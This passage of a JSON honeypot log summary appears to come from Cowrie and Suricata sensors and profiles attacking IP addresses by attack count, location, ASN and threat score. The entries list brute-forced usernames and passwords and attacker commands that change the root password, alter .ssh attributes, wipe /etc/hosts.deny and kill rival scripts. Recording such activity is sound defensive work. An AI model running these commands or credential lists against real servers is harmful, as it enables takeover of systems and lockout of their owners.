        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"odoopass\\nOQXIWQKjj20K\\nOQXIWQKjj20K\\n\"|passwd",
        "echo \"test\\n8RzmF8XjQ160\\n8RzmF8XjQ160\\n\"|passwd",
        "echo -e \"odoopass\\nOQXIWQKjj20K\\nOQXIWQKjj20K\"|passwd|bash",
        "echo -e \"test\\n8RzmF8XjQ160\\n8RzmF8XjQ160\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T10:47:52.651000+00:00",
        "last_seen_30d": "2026-04-06T11:38:09.258000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "172.174.72.225": {
      "attack_count": 236,
      "first_seen": "2026-04-02T10:36:48.098Z",
      "last_seen": "2026-04-02T11:42:23.112Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456Aa.",
        "12wqasxz",
        "1q2w3e!@#$",
        "@!QAZ2wsx",
        "Aa.147258",
        "Abc123456789.",
        "Admin#123456",
        "Ah@123456",
        "PasswdNew",
        "Passwort1!",
        "Qwer!@#123",
        "Stepl0ss",
        "admin12",
        "chf",
        "core",
        "idc123zaqwsxcde",
        "linsheng",
        "master12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:avfBogbUuzvE\"|chpasswd|bash",
        "echo \"root:lMxjqbfPHGHk\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:36:48.098000+00:00",
        "last_seen_30d": "2026-04-02T11:43:28.968000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "5.42.110.144": {
      "attack_count": 219,
      "first_seen": "2026-04-30T21:24:45.586Z",
      "last_seen": "2026-04-30T21:56:01.635Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "guest",
        "test2",
        "testuser",
        "345gs5662d34",
        "developer",
        "guest10",
        "mysql",
        "postgres",
        "server",
        "test",
        "tom",
        "user",
        "user1",
        "user6"
      ],
      "passwords_attempted": [
        "123456",
        "1234567890",
        "12345678910",
        "1q2w3e",
        "1qazxdr5",
        "321321",
        "3245gs5662d34",
        "345gs5662d34",
        "Ab123456",
        "Pass@2022",
        "Passw0rd",
        "Qwer!234",
        "TestUser",
        "Welcome",
        "abc",
        "admin2022#",
        "admin@1",
        "admin@321",
        "administrator888",
        "adminn"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"q1w2e\\nL7eBsDcFIxac\\nL7eBsDcFIxac\\n\"|passwd",
        "echo -e \"q1w2e\\nL7eBsDcFIxac\\nL7eBsDcFIxac\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 9123,
      "as_org": "Jsc timeweb",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:24:45.586000+00:00",
        "last_seen_30d": "2026-04-30T21:57:03.106000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "161.132.4.167": {
      "attack_count": 206,
      "first_seen": "2026-04-11T10:25:50.376Z",
      "last_seen": "2026-04-25T15:40:20.945Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test1",
        "test2",
        "test3"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "password",
        "12345",
        "123456",
        "qwerty",
        "root123",
        "test1",
        "test2",
        "test3",
        "toor",
        "123456789",
        "1234567890",
        "letmein"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 3132,
      "as_org": "Red Cientifica Peruana",
      "threat_score": 41.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T10:25:50.376000+00:00",
        "last_seen_30d": "2026-04-25T15:41:27.820000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 206,
        "Suricata": 98
      }
    },
    "197.221.232.44": {
      "attack_count": 204,
      "first_seen": "2026-04-24T16:46:55.253Z",
      "last_seen": "2026-04-24T17:38:39.619Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "deployer",
        "dockeradmin",
        "frappe",
        "ftpuser",
        "gitserver",
        "hery",
        "kian",
        "rafael"
      ],
      "passwords_attempted": [
        "1qaz)OKM",
        "3245gs5662d34",
        "345gs5662d34",
        "7ujm!!",
        "A1234567]",
        "Aa112211.",
        "Abcd1234567#$",
        "Admin12345#$",
        "Password01",
        "Postgres0",
        "Postgres7",
        "QWE2023",
        "Qazwsx4321@",
        "Root11111111!",
        "Root123123#",
        "Root2020!",
        "ali05!",
        "dockeradmin",
        "frappe12",
        "gitserver"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Postgres7\\nPzUlDtegJuCG\\nPzUlDtegJuCG\\n\"|passwd",
        "echo -e \"Postgres7\\nPzUlDtegJuCG\\nPzUlDtegJuCG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Zimbabwe",
      "country_code": "ZW",
      "city": "Marondera",
      "asn": 37204,
      "as_org": "TELONE",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 272,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T16:46:55.253000+00:00",
        "last_seen_30d": "2026-04-24T17:39:41.514000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 68
      }
    },
    "103.59.95.42": {
      "attack_count": 203,
      "first_seen": "2026-04-25T13:16:11.856Z",
      "last_seen": "2026-04-25T14:57:08.520Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "ali",
        "claude",
        "cvsuser",
        "postgres",
        "steam",
        "test",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        "123456Qw",
        "1qaz!QAZ",
        "1qaz@wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456789Z",
        "Aa112211.",
        "Claude04",
        "Huawei12#$",
        "P@ssw0rds",
        "Qq@123456",
        "Qwer123$",
        "abc123456@",
        "ali@1",
        "azertyuiop",
        "cvsuser",
        "eve",
        "nPSpP4PBW0",
        "password12345",
        "postgres"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:qe8rZBuil0Uy\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:16:11.856000+00:00",
        "last_seen_30d": "2026-04-25T14:58:11.971000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 65
      }
    },
    "172.200.228.35": {
      "attack_count": 194,
      "first_seen": "2026-04-04T21:17:28.801Z",
      "last_seen": "2026-04-04T22:13:45.823Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "ansible",
        "dev",
        "odoo",
        "teamspeak",
        "test4"
      ],
      "passwords_attempted": [
        "12345678",
        "0000",
        "1234!qwer",
        "123456",
        "2026123",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc!@#",
        "Dev!2026",
        "P@$sw0rd#",
        "Password@2025",
        "QWERT123456",
        "Qwerty@12345",
        "Root0#$",
        "a1234567b",
        "bbZZ1234",
        "cq@123456",
        "lf@123456",
        "odoo01!",
        "pdidc123!@#"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"secret2025!\\ntpqNXrA1FEvO\\ntpqNXrA1FEvO\\n\"|passwd",
        "echo -e \"secret2025!\\ntpqNXrA1FEvO\\ntpqNXrA1FEvO\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T21:17:28.801000+00:00",
        "last_seen_30d": "2026-04-04T22:14:55.011000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "171.244.61.82": {
      "attack_count": 193,
      "first_seen": "2026-04-12T12:20:10.232Z",
      "last_seen": "2026-04-12T13:05:49.867Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "ubuntu",
        "345gs5662d34",
        "applmgr",
        "frappe",
        "ftptest",
        "harry",
        "lol",
        "odoo",
        "server",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "123456!@#",
        "1QAZ2wsx",
        "2026",
        "3245gs5662d34",
        "345gs5662d34",
        "888888",
        "Frappe3",
        "Odoo3",
        "P@ssw0rd",
        "P@ssw0rd6",
        "P@ssw0rd_123",
        "Qwerty2023!",
        "Root09!",
        "Steam19!",
        "Yb123456",
        "ZAQ!2wsx2022@#",
        "admin123!@",
        "ftp123",
        "harry",
        "lb123456."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:5IVSts2gmTQY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38731,
      "as_org": "CHT Compamy Ltd",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T12:20:10.232000+00:00",
        "last_seen_30d": "2026-04-12T13:06:51.813000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "163.227.230.54": {
      "attack_count": 168,
      "first_seen": "2026-04-27T03:05:47.176Z",
      "last_seen": "2026-04-27T03:27:51.091Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "zhengxl"
      ],
      "passwords_attempted": [
        "09po;l",
        "123456yy",
        "3245gs5662d34",
        "345gs5662d34",
        "890iopkl;,.,",
        "A123456789!@#",
        "Abc!@#%^",
        "Admin1qaz2wsx",
        "FAnw6qjpFAtRn5",
        "P455WORD",
        "Password!12345",
        "Tao123",
        "fffhZ2KXWOk2XzBUDMela10EsntRnGmkEYqByTP",
        "ionut",
        "monkyzaq12wsx",
        "passwo",
        "qwe112233",
        "root.com",
        "root123",
        "root1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:uxQ5EwxjUOhL\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 150895,
      "as_org": "EZ TECHNOLOGY COMPANY LIMITED",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T03:05:47.176000+00:00",
        "last_seen_30d": "2026-04-27T03:29:00.606000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "72.29.184.218": {
      "attack_count": 160,
      "first_seen": "2026-04-30T11:39:47.857Z",
      "last_seen": "2026-04-30T11:45:01.546Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Luis Obispo",
      "asn": 14589,
      "as_org": "Wave Broadband",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 324,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T11:39:47.857000+00:00",
        "last_seen_30d": "2026-04-30T11:46:06.207000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 164,
        "Cowrie": 160
      }
    },
    "74.118.81.174": {
      "attack_count": 148,
      "first_seen": "2026-04-28T16:37:01.139Z",
      "last_seen": "2026-04-28T17:09:54.084Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "es",
        "oracle",
        "user3"
      ],
      "passwords_attempted": [
        "12345678@Abc",
        "12345@abc",
        "123Azerty",
        "3245gs5662d34",
        "345gs5662d34",
        "40028922",
        "Fh#123456",
        "Oracle37211wdv",
        "P@ssw0rd22",
        "Test@12345",
        "Welcome!",
        "cm@123456",
        "czj123456",
        "es123123",
        "oracle123",
        "qwerty",
        "qwerty666"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:K9q6SF64yUXE\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Afghanistan",
      "country_code": "AF",
      "city": null,
      "asn": 45178,
      "as_org": "TELECOM DEVELOPMENT COMPANY AFGHANISTAN",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 206,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T16:37:01.139000+00:00",
        "last_seen_30d": "2026-04-28T17:10:55.244000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 58
      }
    },
    "117.255.158.20": {
      "attack_count": 98,
      "first_seen": "2026-04-13T12:39:53.370Z",
      "last_seen": "2026-04-13T12:50:11.654Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "Azure",
        "admin",
        "odoo",
        "ubuntu",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@123456789",
        "YuLiShoping123...",
        "odoo@",
        "qwe",
        "qwe321",
        "user2"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:7ykg02AaJ0ZU\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Khetri",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T12:39:53.370000+00:00",
        "last_seen_30d": "2026-04-13T12:51:21.577000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 18
      }
    },
    "60.23.233.244": {
      "attack_count": 82,
      "first_seen": "2026-04-17T09:41:37.505Z",
      "last_seen": "2026-04-17T09:47:39.571Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T09:41:37.505000+00:00",
        "last_seen_30d": "2026-04-17T09:55:24.877000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 82,
        "Suricata": 42
      }
    },
    "34.62.208.180": {
      "attack_count": 72,
      "first_seen": "2026-04-30T06:35:50.811Z",
      "last_seen": "2026-04-30T06:36:39.781Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 249",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 113,
